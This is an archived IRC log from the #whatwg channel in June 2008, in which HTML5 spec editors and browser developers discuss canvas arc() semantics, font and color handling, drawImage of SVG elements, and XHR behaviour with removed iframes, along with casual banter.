/irc-logs / freenode / #whatwg / 2008-06-13 / end

Options:

  1. # Session Start: Fri Jun 13 00:00:00 2008
  2. # Session Ident: #whatwg
  3. # [00:07] * Philip` thanks the TV Licensing people, since he can't remember his house number or postcode but fortunately it's written on the front of a letter they sent some time last year (presumably demanding that it is highly illegal to not have a TV license (and clearly unthinkable to not have a TV) though I can't be sure since I haven't bothered opening the letter yet)
  4. # [00:14] * Joins: tantek (n=tantek@70.89.120.174)
  5. # [00:19] * Quits: tantek (n=tantek@70.89.120.174)
  6. # [00:21] * Joins: tantek (n=tantek@70.89.120.174)
  7. # [00:24] * Quits: dbaron (n=dbaron@corp-241.mountainview.mozilla.com) ("8403864 bytes have been tenured, next gc will be global.")
  8. # [00:24] * Joins: dbaron (n=dbaron@corp-241.mountainview.mozilla.com)
  9. # [00:25] * Quits: tantek (n=tantek@70.89.120.174) (Client Quit)
  10. # [00:30] * Quits: billmason (n=billmaso@ip246.unival.com) (".")
  11. # [00:31] <Hixie> dbaron: i can make it static
  12. # [00:31] * Joins: tantek (n=tantek@70.89.120.174)
  13. # [00:31] <dbaron> Hixie, was it either before?
  14. # [00:31] <Hixie> dbaron: do you have the same request regarding 'currentColor' in the various places where that can be set?
  15. # [00:31] <Hixie> it was underdefined before
  16. # [00:31] <dbaron> for canvas colors?
  17. # [00:31] <Hixie> i hadn't really thought about it :-)
  18. # [00:31] <Hixie> yeah
  19. # [00:31] <dbaron> yeah, the same concerns would apply
  20. # [00:31] <Hixie> right-o
  21. # [00:32] <Hixie> will fix shortly, you can assume both will be static unless someone disagrees with your e-mail and gives a good reason why it should be dynamic
  22. # [00:33] <dbaron> FWIW, it's actually one of our interns (Eric Butler) working on this (this being fixing canvas text bugs).
  23. # [00:34] <Philip`> Seems a bit weird that ctx.font=ctx.font wouldn't be idempotent
  24. # [00:34] <Philip`> Uh
  25. # [00:34] <Hixie> dbaron: cool
  26. # [00:34] <Philip`> I don't mean idempotent
  27. # [00:34] <Philip`> I just mean it'd be a bit weird that it could have an effect
  28. # [00:34] <dbaron> we could make it live
  29. # [00:35] <dbaron> Though in some cases it could be a good bit of work for each text-drawing operation
  30. # [00:35] <Hixie> live seems complicated and bug prone to me, but i agree that setting something to itself having an effect is something i've tried to avoid before
  31. # [00:35] <dbaron> particurlarly if the canvas is deeply nested inside something that's display:none
  32. # [00:35] <Philip`> (but canvas.width=canvas.width already has a significant effect (clearing the canvas), so it wouldn't be any worse than that)
  33. # [00:35] <Hixie> yeah
  34. # [00:36] <dbaron> who else implements this part of the canvas text stuff?
  35. # [00:36] * Quits: phsiao (n=shawn@nat/ibm/x-79245d91f55cfd75) (Read error: 104 (Connection reset by peer))
  36. # [00:36] * Joins: phsiao (n=shawn@nat/ibm/x-930fc226213e67ea)
  37. # [00:36] <Philip`> dbaron: Nobody
  38. # [00:37] <Hixie> it's very new
  39. # [00:37] <Hixie> i'm not aware of any implementations
  40. # [00:42] * Quits: sverrej (n=sverrej@195.159.249.66) (Read error: 110 (Connection timed out))
  41. # [00:42] * eseidel_ is now known as eseidel
  42. # [00:44] * Joins: sverrej (n=sverrej@195.159.249.66)
  43. # [00:46] <Hixie> Lachy: you probably want to change the abstract for your draft
  44. # [00:47] <Hixie> er, the intro, i mean
  45. # [00:47] <Hixie> actually nm.
  46. # [00:47] <Hixie> i'm on crack,.
  47. # [00:48] <Hixie> re your namespaces section, the xml: prefix example is misleading since you never have to declare that prefix anyway
  48. # [01:02] * Joins: webben (n=benh@91.85.160.209)
  49. # [01:03] * Quits: smedero (n=smedero@mdp-nat251.mdp.com)
  50. # [01:05] * Joins: cfq (n=cfq@195.174.29.129)
  51. # [01:06] * Quits: sverrej (n=sverrej@195.159.249.66) (Read error: 110 (Connection timed out))
  52. # [01:08] * Quits: tantek (n=tantek@70.89.120.174)
  53. # [01:08] <Hixie> should we reset the origin-clean flag on canvas when the canvas is reset by changing its dimensions?
  54. # [01:08] <Philip`> That seems pointless, and introduces more risk of security bugs, and is incompatible with current implementations
  55. # [01:09] <roc> it's incompatible in a clean way though
  56. # [01:09] <Philip`> But it's still incompatible :-)
  57. # [01:09] <roc> can't see any security issues
  58. # [01:10] <roc> every feature we add is incompatible with code that expects it to not work
  59. # [01:10] <Philip`> It would be a security issue if you somehow failed to entirely clear the canvas when resizing it
  60. # [01:10] <roc> it does seem slightly pointless
  61. # [01:10] <Hixie> ok i won't bother clearing it
  62. # [01:11] <Philip`> which doesn't seem implausible, given how all implementations have occasionally failed to handle bitmap buffers correctly
  63. # [01:11] <Philip`> s/correctly/without reading out of bounds/
  64. # [01:15] <Hixie> i'm amused at how one person is posting feedback to whatwg with links to the w3c version and another is posting feedback to the w3c list with links to the whatwg version
  65. # [01:18] <roc> wasn't there a discussion about allowing canvas.drawImage to draw any element? or was it just SVG elements?
  66. # [01:18] <Philip`> roc: Opera lets drawImage draw SVG
  67. # [01:18] <roc> yeah I know
  68. # [01:18] * Philip` can't remember whether that's SVG images or SVG elements, though
  69. # [01:19] <roc> I think it's SVG elements
  70. # [01:19] <roc> which actually lets you draw *anything* thanks to foreignObject
  71. # [01:19] <Philip`> There was some discussion about that, and also there was discussion about a drawElement (or something) for drawing elements
  72. # [01:19] <roc> on the whatwg list?
  73. # [01:20] <Philip`> http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2008-May/014683.html refers to some mentions of it
  74. # [01:22] <Philip`> http://philip.html5.org/demos/canvas/svg/scale.html - looks like Opera 9.5 supports both drawImage(<img src=...svg>) and drawImage(<svg .../>)
  75. # [01:22] <Philip`> (though with clipping bugs in the latter case)
  76. # [01:22] <Philip`> (and without decent scaling in either case)
  77. # [01:22] <Hixie> there have been many suggestions for drawing various random elements
  78. # [01:23] <Hixie> there's a number of issues with it (how to do it with display:none elements, how to not be affected by the browsing context size, how to handle rendering plugins and iframes and the like)
  79. # [01:23] <Hixie> (amongst other things)
  80. # [01:23] <Hixie> it's on the "v2" list for canvas (i.e. things to add once browsers have implemented more of the spec)
  81. # [01:24] <Hixie> afk, bbiab
  82. # [01:24] <roc> Opera's bit off all those issues already
  83. # [01:24] <Philip`> Isn't that "v4" now? :-)
  84. # [01:24] <roc> I guess we should just go ahead and add mozDrawElement
  85. # [01:27] <Philip`> Opera's foreignObject support seems to be pretty rubbish
  86. # [01:27] <Philip`> e.g. it fails to apply many styles
  87. # [01:28] <Philip`> and foreignObjects get drawn as a solid black rectangle via drawImage
  88. # [01:29] <Philip`> http://philip.html5.org/demos/canvas/svg/foreignobject.xhtml
  89. # [01:33] <Philip`> FF3 is really ugly at rendering that rotated foreignObject, but at least it gets all the right content in there
  90. # [01:36] <Philip`> (and makes the content interactive, and can draw rotated scrollbars and stuff, which is really quite nice, and makes Opera seem even more rubbish)
  91. # [01:42] * Joins: sverrej (n=sverrej@89.10.27.86)
  92. # [01:43] * Philip` can't find any way to make anything more useful happen in Opera
  93. # [01:43] <Philip`> roc: So, I think Opera has just avoided the issues by not having the relevant functionality at all
  94. # [01:44] <roc> ok
  95. # [01:44] <roc> thanks
  96. # [01:47] <Philip`> Hixie: I'd been attempting to update my canvas tests and send feedback, but slowed(/stalled) before finishing, so now it's annoying that you're catching up by responding to the feedback and I'll have even more work to do before I've caught up to the spec again :-(
  97. # [01:48] * Quits: phsiao (n=shawn@nat/ibm/x-930fc226213e67ea) (Read error: 110 (Connection timed out))
  98. # [01:59] * Quits: KevinMarks (n=KevinMar@nat/google/x-8e268acc2bb0a0b2) ("The computer fell asleep")
  99. # [01:59] * Joins: KevinMarks (n=KevinMar@nat/google/x-e411259783d54d0c)
  100. # [02:03] <Hixie> Philip`: heh
  101. # [02:09] * Quits: webben (n=benh@91.85.160.209)
  102. # [02:11] * Joins: mahound (n=mahound@unaffiliated/mahound)
  103. # [02:15] * Joins: webben (n=benh@91.85.160.209)
  104. # [02:16] * Quits: KevinMarks (n=KevinMar@nat/google/x-e411259783d54d0c) (Connection timed out)
  105. # [02:20] * Joins: othermaciej (n=mjs@192.42.249.12)
  106. # [02:20] * Quits: hober (n=ted@unaffiliated/hober) ("ERC Version 5.3 (IRC client for Emacs)")
  107. # [02:22] * Joins: tantek (n=tantek@74-60-6-204.sea.clearwire-dns.net)
  108. # [02:30] * Quits: cfq (n=cfq@195.174.29.129)
  109. # [02:33] * Quits: mahound (n=mahound@unaffiliated/mahound) ("Leaving")
  110. # [02:42] * Quits: tantek (n=tantek@74-60-6-204.sea.clearwire-dns.net)
  111. # [02:55] * Quits: dbaron (n=dbaron@corp-241.mountainview.mozilla.com) (Read error: 110 (Connection timed out))
  112. # [02:56] * Quits: webben (n=benh@91.85.160.209)
  113. # [02:57] * Joins: dbaron (n=dbaron@corp-241.mountainview.mozilla.com)
  114. # [03:03] * Joins: tantek (n=tantek@dsl231-036-190.sea1.dsl.speakeasy.net)
  115. # [03:18] * Quits: othermaciej (n=mjs@192.42.249.12)
  116. # [03:19] * Quits: tndH (i=Rob@87.102.5.204) ("ChatZilla 0.9.82.1-rdmsoft [XULRunner 1.8.0.9/2006120508]")
  117. # [03:19] * Joins: tantek_ (n=tantek@72-56-133-46.area2.spcsdns.net)
  118. # [03:22] <Hixie> roc: http://junkyard.damowmow.com/326
  119. # [03:23] <Hixie> er, doesn't work in firefox
  120. # [03:23] <Hixie> hold on
  121. # [03:23] <Hixie> (or try it in webkit)
  122. # [03:25] <Hixie> aha, my bad
  123. # [03:25] <Hixie> ok fixed
  124. # [03:25] <Hixie> roc: is this http://junkyard.damowmow.com/326 what you had in mind?
  125. # [03:25] <Hixie> Philip`: in case you haven't already tested this, there's lack of interop when it comes to the last argument of arc() being omitted
  126. # [03:25] <roc> yeah
  127. # [03:26] <roc> well no
  128. # [03:26] <roc> yes and no
  129. # [03:26] <roc> Ithat's cool, and I guess it is what a kaleidoscope does
  130. # [03:26] <roc> but my dream was different
  131. # [03:26] <Hixie> then i don't understand your dream :-)
  132. # [03:26] <roc> neither do I
  133. # [03:27] <Hixie> hehe
  134. # [03:27] <takkaria> the kaleidoscope is cool
  135. # [03:27] <roc> what I had in my dream, IIRC, was a changing triangular image that was being tiled across the plane, where there's a reflection along each edge
  136. # [03:28] <Hixie> there's something very pretty about http://junkyard.damowmow.com/326
  137. # [03:28] <roc> you could obviously do it with an explicit loop
  138. # [03:28] <Hixie> roc: ooo, interesting
  139. # [03:29] <roc> what I meant in my blog is that we have builtin support for tiling rectangles
  140. # [03:29] <Hixie> roc: sounds like what we'd really want to get that kind of effect is a programmable Pattern object
  141. # [03:29] <roc> not just in canvas but in toolkits generally
  142. # [03:29] <Hixie> roc: with a callback that does the actual painting in some way (maybe it's passed a context with a clipping path set)
  143. # [03:29] <roc> but we don't have more advanced tessellation operations
  144. # [03:29] <Hixie> yeah
  145. # [03:29] <roc> Quartz has something like that
  146. # [03:30] <Hixie> you'd have to give the pattern the extent it is expected to render over too, i guess
  147. # [03:30] <roc> I'm not sure what the right way would be to do it
  148. # [03:30] <roc> but
  149. # [03:30] <roc> don't take my dreams as requirements
  150. # [03:30] <Hixie> oh don't worry
  151. # [03:31] <Hixie> i'm just noodling, as DanC says
  152. # [03:32] <Philip`> Hixie: I have (non-online) tests for missing arguments, which seem to cover that case - FF3/O9.5 throw an exception (of the wrong type), S3 throws an exception for <= 2 arc arguments and executes the command for >= 3, so it's just Safari's problem
  153. # [03:33] <Hixie> k
  154. # [03:33] * Hixie tries to decypher Philip`'s arc() feedback
  155. # [03:33] <Philip`> About the case where the arc is larger than 2pi?
  156. # [03:34] <Hixie> about the case with rounding near 2pi
  157. # [03:34] <Philip`> Okay
  158. # [03:34] <Hixie> or rather, the case where the angles are close to each other
  159. # [03:34] <Hixie> the problem being i don't understand your suggested text since it seems to be mostly what's there already and i'm having to figure out what you added/changed
  160. # [03:40] <Philip`> I think just the second sentence is new, to handle the cases where the arc is wound around more than 2pi
  161. # [03:42] <Philip`> (by making those cases draw the entire circle, rather than making the arc jump back to zero length when the angle difference exceeds 2pi)
  162. # [03:42] <Hixie> check the new definition
  163. # [03:42] <Hixie> is it ok?
  164. # [03:42] <Hixie> http://www.whatwg.org/specs/web-apps/current-work/#arcx-
  165. # [03:43] * Quits: tantek (n=tantek@dsl231-036-190.sea1.dsl.speakeasy.net) (Read error: 110 (Connection timed out))
  166. # [03:45] * Philip` needs to work out a better way of describing how he thinks algorithms should be tweaked to work differently
  167. # [03:46] <Hixie> just say what's wrong :-)
  168. # [03:47] <Philip`> I did, in my third paragraph :-)
  169. # [03:47] <Hixie> indeed
  170. # [03:47] <Hixie> and that's what i used :-)
  171. # [03:49] <Philip`> The new definition seems wrong, but I need to work out precisely how it's wrong...
  172. # [03:49] <Hixie> really? hm.
  173. # [03:50] <Hixie> i suppose it needs to define start and end points
  174. # [03:50] <Philip`> It's at least wrong in that it doesn't define the start and end points, if the angle difference is >=2pi
  175. # [03:52] * Philip` tries to remember which way clocks turn
  176. # [03:52] <Hixie> yeah i'll just hoist the point definition from the next para up one
  177. # [04:02] <Hixie> i go to look up convertToIntegerTiesToEven to make sure you're not making stuff up about what IEEE754r says
  178. # [04:02] <Hixie> and the first hit
  179. # [04:02] <Hixie> is the e-mail you sent
  180. # [04:04] <Philip`> I think I looked at http://www.validlab.com/754R/drafts/archive/2006-10-04.pdf via http://en.wikipedia.org/wiki/IEEE_754r so it might be good to double-check with a more reliable source
  181. # [04:06] <Hixie> i don't find it in wikipedia
  182. # [04:09] <Philip`> Hmm, the spec change doesn't solve the problem I suggested in my email (since arc(x, y, r, 0, 2*pi-epsilon, true) will draw an almost-zero-length arc, and it's possible that 2*Math.PI == 2*pi-epsilon), but neither does the solution I suggested, and actually I'm not sure any decent solution is possible
  183. # [04:10] <Philip`> At least with the new spec you can write arc(x, y, r, 0, 2*Math.PI, false) and be sure it's going to draw a circle, which wasn't possible before now
  184. # [04:10] <Philip`> so I think that should be alright
  185. # [04:11] <Hixie> don't know how to distinguish the case of 0..2pi-e and 0..-e in any sane way, given that we don't want to distinguish between 0..2pi-x and 0..-x
  186. # [04:11] <Hixie> where e << x
  187. # [04:15] <Philip`> I'm sure I came to a different conclusion when I last thought about this, but now when I draw lots of little arcs I can't work out any way it could work sensibly in all cases
  188. # [04:16] <Philip`> so the spec sounds as sensible as it could be
  189. # [04:16] <Philip`> though not as compatible with existing implementations as it could be
  190. # [04:16] <Hixie> k
  191. # [04:16] * Quits: dbaron (n=dbaron@corp-241.mountainview.mozilla.com) ("8403864 bytes have been tenured, next gc will be global.")
  192. # [04:17] <Philip`> If it said "if anticlockwise and start-end > 2pi, or if clockwise and end-start > 2pi", instead of "if abs(start-end) > 2pi", then it would match the behaviour of Firefox and Safari
  193. # [04:18] <Hixie> what do firefox and safari do for anticlockwise and end-start > 2pi?
  194. # [04:19] <Philip`> They draw the arc from (start mod 2pi) anticlockwise to (end mod 2pi)
  195. # [04:20] <Hixie> seems dumb to do something different for 0..2pi+e than for -(2pi+e)..0
  196. # [04:21] <Hixie> well, i guess not
  197. # [04:21] <Hixie> hmm
  198. # [04:22] <Philip`> Firefox and Safari will need to be changed to match the spec anyway, because they handle arc(x,y,r, 0, 4*Math.PI, false) by drawing a 4pi arc (which is kind of crazy) instead of a 2pi arc, so I suppose it doesn't hurt if the spec requires some extra changes too
  199. # [04:23] <Hixie> i'm changing it to not do a whole circle
  200. # [04:23] <Hixie> for those cases
  201. # [04:24] * Joins: Dashimon (i=Dashiva@199.84-48-51.nextgentel.com)
  202. # [04:25] <Philip`> They don't do something different for 0..2pi+e than for -(2pi+e)..0
  203. # [04:25] <Philip`> since that's just uniformly rotating the whole arc by -(2pi+e)
  204. # [04:26] <Philip`> The issue is that for 0..3pi clockwise they draw a circle, and for 0..3pi anticlockwise they draw a semicircle
  205. # [04:28] <Hixie> The issue is that for 0..3pi clockwise they draw a circle, and for 3pi..0 clockwise they draw a semicircle, and that makes sense to me for some reason, and i want the spec to require that
  206. # [04:28] <Hixie> no?
  207. # [04:32] <Philip`> That doesn't make more or less sense to me than any other thing the spec could require - it just has the advantage of matching most deployed implementations
  208. # [04:32] <Hixie> yeah i agree that it doesn't make any more objective sense
  209. # [04:33] <Hixie> though for some reason it does have some weird feeling of rightness to me
  210. # [04:33] <Hixie> anyway
  211. # [04:33] <Hixie> the spec says that now
  212. # [04:34] <Philip`> The most sensible solution would be "if clockwise and end < start, or if anticlockwise and end > start, throw an exception because you're being silly and trying to draw the arc in the wrong direction"
  213. # [04:34] <Philip`> Actually you could just skip the clockwise/anticlockwise flag entirely, and have it depend solely on the relative angles
  214. # [04:34] * Quits: tantek_ (n=tantek@72-56-133-46.area2.spcsdns.net)
  215. # [04:34] <Philip`> But that doesn't work so well for compatibility with existing code/implementations
  216. # [04:38] * Quits: Dashiva (i=Dashiva@wikia/Dashiva) (Read error: 113 (No route to host))
  217. # [04:38] * Dashimon is now known as Dashiva
  218. # [04:48] * Philip` notices that he has trouble thinking coherently, and goes to bed
  219. # [04:49] <Hixie> n
  220. # [04:55] * Joins: tantek (n=tantek@c-24-19-2-124.hsd1.wa.comcast.net)
  221. # [05:48] * Quits: eseidel (n=eseidel@72.14.224.1)
  222. # [05:57] * heycam` is now known as heycam
  223. # [06:24] * Joins: MacDome (n=eric@68-240-134-35.area5.spcsdns.net)
  224. # [06:35] * Quits: gavin (n=gavin@firefox/developer/gavin)
  225. # [06:41] * Joins: gavin (n=gavin@firefox/developer/gavin)
  226. # [06:41] * Quits: gavin (n=gavin@firefox/developer/gavin) (Remote closed the connection)
  227. # [06:41] * Joins: gavin (n=gavin@firefox/developer/gavin)
  228. # [06:46] * Quits: MacDome (n=eric@68-240-134-35.area5.spcsdns.net)
  229. # [07:02] * Joins: eseidel (n=eseidel@c-67-180-49-110.hsd1.ca.comcast.net)
  230. # [07:28] * Quits: roc (n=roc@202.0.36.64)
  231. # [07:38] * Joins: othermaciej (n=mjs@c-24-5-43-151.hsd1.ca.comcast.net)
  232. # [07:45] * Joins: aroben (n=adamrobe@72-165-115-225.dia.static.qwest.net)
  233. # [07:48] <hsivonen> Hixie: does bugmail from the W3C bugzilla feed into http://www.whatwg.org/issues/ ?
  234. # [07:51] * Joins: toolskyn_ (n=toolskyn@apher.xlshosting.com)
  235. # [07:51] * Joins: Hixie_ (i=ianh@trivini.no)
  236. # [07:57] * Quits: toolskyn (n=toolskyn@apher.xlshosting.com) (Read error: 104 (Connection reset by peer))
  237. # [07:57] * Quits: Hixie (i=ianh@trivini.no) (Read error: 104 (Connection reset by peer))
  238. # [08:02] * Joins: maikmerten (n=merten@ls5laptop14.cs.uni-dortmund.de)
  239. # [08:04] * Joins: weinig (n=weinig@c-71-198-176-23.hsd1.ca.comcast.net)
  240. # [08:09] * Joins: eseidel_ (n=eseidel@72.14.224.1)
  241. # [08:09] * Quits: othermaciej (n=mjs@c-24-5-43-151.hsd1.ca.comcast.net) (Read error: 104 (Connection reset by peer))
  242. # [08:10] * Joins: othermaciej (n=mjs@c-24-5-43-151.hsd1.ca.comcast.net)
  243. # [08:25] * Quits: eseidel (n=eseidel@c-67-180-49-110.hsd1.ca.comcast.net) (Read error: 110 (Connection timed out))
  244. # [08:25] * Joins: aaronlev (n=chatzill@f051068082.adsl.alicedsl.de)
  245. # [08:34] * eseidel_ is now known as eseidel
  246. # [08:39] * Joins: hdh (n=hdh@118.71.126.80)
  247. # [08:39] * Quits: jruderman (n=jruderma@ip68-5-179-249.oc.oc.cox.net)
  248. # [08:42] <Hixie_> annevk, Lachy: standards suck needs better sound :-)
  249. # [08:44] <othermaciej> this is the standards suck podcast?
  250. # [08:44] <othermaciej> is it worth watching?
  251. # [08:44] <othermaciej> (or videocast I guess?)
  252. # [08:44] <Hixie_> probably not for you :-)
  253. # [08:44] <Hixie_> it's somewhat painful to watch because of the poor sound
  254. # [08:44] <Hixie_> it's amusing to watch anne talk about "the early days" of his coding web pages though :-P
  255. # [08:45] <othermaciej> I have a lot of standing search queries that mostly tell me things I already know
  256. # [08:45] <othermaciej> so that would not be a problem per se
  257. # [08:48] <Hixie_> someone just asked me to change the comment of the Ahem.ttf file because &Eacute; isn't the right way to refer to an e-with-acute in a TTF comment
  258. # [08:48] <Hixie_> o_O
  259. # [08:48] <Hixie_> that is what i believe we call a "first world problem"
  260. # [08:48] * Hixie_ informs the commenter that he has bigger fish to fry
  261. # [08:50] * Joins: eseidel_ (n=eseidel@c-67-180-49-110.hsd1.ca.comcast.net)
  262. # [08:52] * Joins: MacDome (n=eric@c-67-180-49-110.hsd1.ca.comcast.net)
  263. # [08:52] <Hixie_> well that's confusing
  264. # [08:53] <Hixie_> and eseidel_ _and_ a MacDome.
  265. # [08:55] <othermaciej> maybe they're secretly the same person!
  266. # [09:00] <Hixie_> cursor navigation in webkit trunk builds in textareas is wacked
  267. # [09:01] <Hixie_> ok i'm going to try to keep http://www.w3.org/Bugs/Public/buglist.cgi?product=HTML+WG&bug_status=NEW to zero items
  268. # [09:02] * Quits: eseidel (n=eseidel@72.14.224.1) (Read error: 110 (Connection timed out))
  269. # [09:03] * Joins: zcorpan_ (n=zcorpan@c-cb21e353.1451-1-64736c12.cust.bredbandsbolaget.se)
  270. # [09:03] <aroben> Hixie_: yes, it is :-(
  271. # [09:04] <Hixie_> you'd think cursor navigation would be easy, but it seems to be one of the hardest things for browsers to get right
  272. # [09:04] <Hixie_> i swear it's the most frequently regressed thing in every browser i've worked with
  273. # [09:09] * Joins: virtuelv (n=virtuelv@pat-tdc.opera.com)
  274. # [09:11] <othermaciej> you'd be surprised
  275. # [09:11] <othermaciej> cursor navigation involves a lot of complicated things
  276. # [09:11] <Hixie_> indeed
  277. # [09:17] <zcorpan_> hsivonen: hey, i made a favicon for you
  278. # [09:17] <zcorpan_> http://simon.html5.org/temp/validator.nu/icon.png
  279. # [09:18] <hsivonen> zcorpan_: cool. Are you licensing it under the MIT license?
  280. # [09:19] * Hixie_ accidentally twitters duplicate messages
  281. # [09:19] <Hixie_> how did that happen
  282. # [09:22] <Lachy> Hixie_, yeah, but we don't have professional sound recording equipment
  283. # [09:22] * MacDome is now known as eseidel
  284. # [09:22] <eseidel> Hixie_: sorry to confuse you Hixie_
  285. # [09:22] * eseidel is now known as MacDome
  286. # [09:22] <Hixie_> hey, when did i become a Hixie_
  287. # [09:23] <MacDome> except this is my personal machine, donno why I just chagned my nick to eseidel...
  288. # [09:23] * Hixie_ is now known as Hixie
  289. # [09:26] <zcorpan_> hsivonen: sure
  290. # [09:26] <hsivonen> Lachy: you could try to find an editing app, that does a Fourier transform, takes out the noise frequencies and undoes the transform
  291. # [09:26] <hsivonen> zcorpan_: thanks
  292. # [09:27] <hsivonen> Lachy: such a naive filter may make the result sound a bit unnatural, but at least the bg noise would be gone
  293. # [09:27] <zcorpan_> hsivonen: http://simon.html5.org/temp/validator.nu/icon.png.license.txt
  294. # [09:29] <hsivonen> zcorpan_: excellent. thanks. the icon will appear on Validator.nu in due course
  295. # [09:35] * Quits: zcorpan_ (n=zcorpan@c-cb21e353.1451-1-64736c12.cust.bredbandsbolaget.se) (Remote closed the connection)
  296. # [09:43] * Quits: aaronlev (n=chatzill@f051068082.adsl.alicedsl.de) ("ChatZilla 0.9.82.1 [Firefox 3.0/2008052906]")
  297. # [09:49] * Quits: bzed (n=bzed@devel.recluse.de) (Read error: 104 (Connection reset by peer))
  298. # [09:50] * Joins: bzed (n=bzed@devel.recluse.de)
  299. # [09:56] * Quits: maikmerten (n=merten@ls5laptop14.cs.uni-dortmund.de) (Remote closed the connection)
  300. # [10:01] * Quits: sverrej (n=sverrej@89.10.27.86) (Read error: 110 (Connection timed out))
  301. # [10:11] <hsivonen> has google code changed its TLS cert for real?
  302. # [10:12] <hsivonen> hmm. Firefox validates the new cert but svn doesn't
  303. # [10:12] <hsivonen> I guess that's ok
  304. # [10:13] * Joins: timelyx (n=timeless@a88-115-13-211.elisa-laajakaista.fi)
  305. # [10:20] * Quits: timely (n=timeless@a88-115-13-211.elisa-laajakaista.fi) (Read error: 110 (Connection timed out))
  306. # [10:25] * Quits: aroben (n=adamrobe@unaffiliated/aroben)
  307. # [10:25] * Joins: roc (n=roc@121-72-162-128.dsl.telstraclear.net)
  308. # [10:31] <Hixie> man, this _tab thread won't die
  309. # [10:31] <Hixie> the last five or six messages have been from people agreeing that it's a bad idea
  310. # [10:31] <Hixie> nobody seems to be disagreeing with them
  311. # [10:31] <MikeSmith> heh
  312. # [10:31] <Hixie> i've already said it's a bad idea
  313. # [10:34] <Hixie> the canvas section has Philip`
  314. # [10:34] <Hixie> the parsing section has hsivonen
  315. # [10:35] <Hixie> i wish other parts of the spec had people like that :-)
  316. # [10:35] * timelyx is now known as timely
  317. # [10:37] * Joins: sverrej (n=sverrej@pat-tdc.opera.com)
  318. # [10:37] <Hixie> on of the screws on the bottom of my mac book pro just fell out
  319. # [10:37] <Hixie> that's not normal...
  320. # [10:39] * Joins: zcorpan (n=zcorpan@pat.se.opera.com)
  321. # [10:40] <MikeSmith> Hixie: that happened to me before
  322. # [10:40] <Hixie> freaky
  323. # [10:40] <MikeSmith> I think they get torqued because of opening/closing the lid
  324. # [10:41] <Hixie> this screw was under the corner furthest from the lid hinge
  325. # [10:43] * Joins: ROBOd (n=robod@89.122.216.38)
  326. # [10:47] * Quits: MacDome (n=eric@c-67-180-49-110.hsd1.ca.comcast.net)
  327. # [10:49] * Joins: MacDome (n=eric@c-67-180-49-110.hsd1.ca.comcast.net)
  328. # [10:53] * Quits: Lachy (n=Lachlan@85.196.122.246) ("This computer has gone to sleep")
  329. # [11:09] * Joins: Lachy (n=Lachlan@pat-tdc.opera.com)
  330. # [11:16] <annevk> annevk, I suggested doing that (re: garbage collection) but people wanted to be able to garbage collect removed iframes (IE does not do it though so maybe it'll change at some point)
  331. # [11:16] * Joins: webben (n=benh@nat/yahoo/x-8ff3a5a95248f4da)
  332. # [11:17] <Hixie> well i don't mind gc'ing removed iframes, but if you have an xhr from that iframe, it seems like a good reason to keep it around
  333. # [11:17] <Hixie> i mean, how often does that happen?
  334. # [11:17] <Hixie> it's not like it'll be a massive optimisation to keep it around
  335. # [11:19] <Hixie> something very funky is going on with my networking stack
  336. # [11:19] <Hixie> i just got a server send me back an error message telling me IT had timed out waiting for my browser to send the request
  337. # [11:21] <annevk> I had this awesome test from a removed iframe where I changed the location and then tested if the base URI was correct and people whined :/
  338. # [11:21] <Hixie> which people?
  339. # [11:21] <othermaciej> leaving the page cancels pending loads, so logically removing an iframe should cancel pending loads in that frame
  340. # [11:22] <annevk> I don't remember
  341. # [11:22] <annevk> othermaciej, well, the thing is that XHR still had an implicit reference to that iframe
  342. # [11:22] <othermaciej> after all, isn't removing an iframe from the document pretty similar to closing a window or navigating to another page?
  343. # [11:22] <annevk> (the effect was that open() throwed an exception
  344. # [11:22] <annevk> )
  345. # [11:23] <othermaciej> oh, so this is about having a not-currently-loading XHR from a removed iframe?
  346. # [11:23] <annevk> you create an XHR instance using the <iframe>'s Window object
  347. # [11:23] <annevk> you do this from some other document
  348. # [11:23] <othermaciej> I guess I am ok with open() throwing in that case
  349. # [11:24] <othermaciej> unless it is a compat issue
  350. # [11:24] <annevk> then you delete the iframe, and set <iframe>.location
  351. # [11:24] <othermaciej> in which case I'll want to stab whoever coded their site that way
  352. # [11:24] <annevk> then once it has navigated you call xhr.open(); xhr.send() to see what the effect is
  353. # [11:24] <Hixie> i wanna stab a lot of people
  354. # [11:24] <Hixie> by that reckoning
  355. # [11:24] <annevk> the nested <form> crowd
  356. # [11:24] <Hixie> starting with the people who put random xmlns="" and <math> and <svg> tags in text/html
  357. # [11:26] <jgraham_> You say "random", thay say "forward compatible"
  358. # [11:26] <Philip`> People won't stop putting random garbage in their pages unless we provide significant negative consequences to those actions
  359. # [11:27] <jgraham_> (which is fair enough because that's what they've been told to think, even if it is garbage)
  360. # [11:27] <Hixie> Philip`: and even then, apparently
  361. # [11:28] <othermaciej> yeah, you can just drop the dependent clause
  362. # [11:28] <Philip`> Hixie: That just means the current consequences are not significant enough
  363. # [11:28] <Hixie> or that the rewards aren't enough
  364. # [11:29] <othermaciej> no one has an incentive to be more punishing, so that's not a relevant counterfactual
  365. # [11:30] <jgraham_> If only we could send people a biscuit every time they wrote good markup.
  366. # [11:30] <othermaciej> then hsivonen would be spending his time railing against the biscuit-seeking behavior
  367. # [11:30] <Hixie> woot, no more canvas-v1 feedback, and no more video-misc feedback.
  368. # [11:31] <Hixie> i'm back to having no particular direction for spec edits
  369. # [11:31] <Hixie> which i guess means i'll go to bed
  370. # [11:31] <Philip`> Hixie: "The intrinsic width of a video element's playback area is the intrinsic *width* of the video resource, if that is available; otherwise it is the intrinsic *height* of the resource given by the poster attribute ..."
  371. # [11:31] * Quits: MacDome (n=eric@c-67-180-49-110.hsd1.ca.comcast.net)
  372. # [11:32] <Hixie> oops
  373. # [11:32] <roc> the only way is to make invalid markup a criminal offense
  374. # [11:32] <Philip`> roc: Being a criminal is a criminal offense, but still there are many criminals
  375. # [11:33] <roc> we'll fine them and use the proceeds to fund parser development.
  376. # [11:34] <Dashiiva> 20 years in prison, or a partial implementation of xpath2. Your choice.
  377. # [11:34] <Philip`> We should follow the example of blank CD taxes - just assume that everyone is going to write invalid markup, and preemptively get compensation from them
  378. # [11:35] <roc> I guess it's more enforceable if you pass a law requiring strict parsing and police the browsers
  379. # [11:35] <Hixie> oh that's just what we need
  380. # [11:35] <Dashiiva> That would lead to an interesting anti-culture
  381. # [11:36] <Hixie> regulation in the browser space
  382. # [11:36] <Hixie> Philip`: fixed
  383. # [11:36] <Dashiiva> Using the latest in illegal browsers from south america
  384. # [11:36] <othermaciej> psst, hey kid, want an error-tolerant browser?
  385. # [11:36] * Joins: MacDome (n=eric@c-67-180-49-110.hsd1.ca.comcast.net)
